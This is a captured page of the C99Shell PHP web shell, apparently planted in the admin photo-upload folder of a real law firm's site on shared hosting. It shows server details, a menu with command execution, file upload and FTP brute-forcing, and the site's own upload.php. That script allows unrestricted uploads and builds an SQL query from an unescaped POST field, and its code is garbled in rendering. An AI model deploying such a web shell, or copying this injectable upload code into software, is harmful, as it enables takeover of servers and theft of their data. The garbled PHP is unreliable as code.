!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mophlawyer.com/admin/module/uploadphoto/php/   drwxr-xr-x
Free 236.5 GB of 981.82 GB (24.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upload.php (1.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
include('class.uploader.php');
    include(
'../config.php');
 
error_reporting(0); 
 if(isset(
$_FILES['images']['name'])):
 
define ("MAX_SIZE","2000");
 for(
$i=0$i<count($_FILES['images']['name']); $i++) {
$size=filesize($_FILES['images']['tmp_name'][$i]); 
 if(
$size < (MAX_SIZE*1024)): 
  
$path "uploads/";
   
$name $_FILES['images']['name'][$i];
    
$size $_FILES['images']['size'][$i];
     list(
$txt$ext) = explode("."$name);
      
date_default_timezone_set ("Asia/Calcutta");  $currentdate=date("d M Y"); 
       
$filetime().substr(str_replace(" ""_"$txt), 0);
        
$info pathinfo($file); 
        
$filename $file.".".$ext;
        
$v_title =$_POST['title'];
         if(
move_uploaded_file($_FILES['images']['tmp_name'][$i], $path.$filename)) :
          
$fetch=$db->query("INSERT INTO tbl_image(image_name,title) VALUES('$filename','$v_title')");
           if(
$fetch):
            
header('Location:index1.php');
             else : 
$error ='Data not inserting';
              endif; 
              else : 
$error 'File moving unsuccessful';
               endif;
                else: 
$error 'You have exceeded the size limit!'; endif; 
                 } else: 
$error 'File not found!'; endif;
                   
?> 
                   <h2><?php echo @$error ?></h2> 
                   <a href="index.php">Try Again</a>
 
  <?php
    
function onFilesRemoveCallback($removed_files){
        foreach(
$removed_files as $key=>$value){
            
$file '../uploads/' $value;
            if(
file_exists($file)){
                
unlink($file);
            }
        }
        
        return 
$removed_files;
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0546 ]--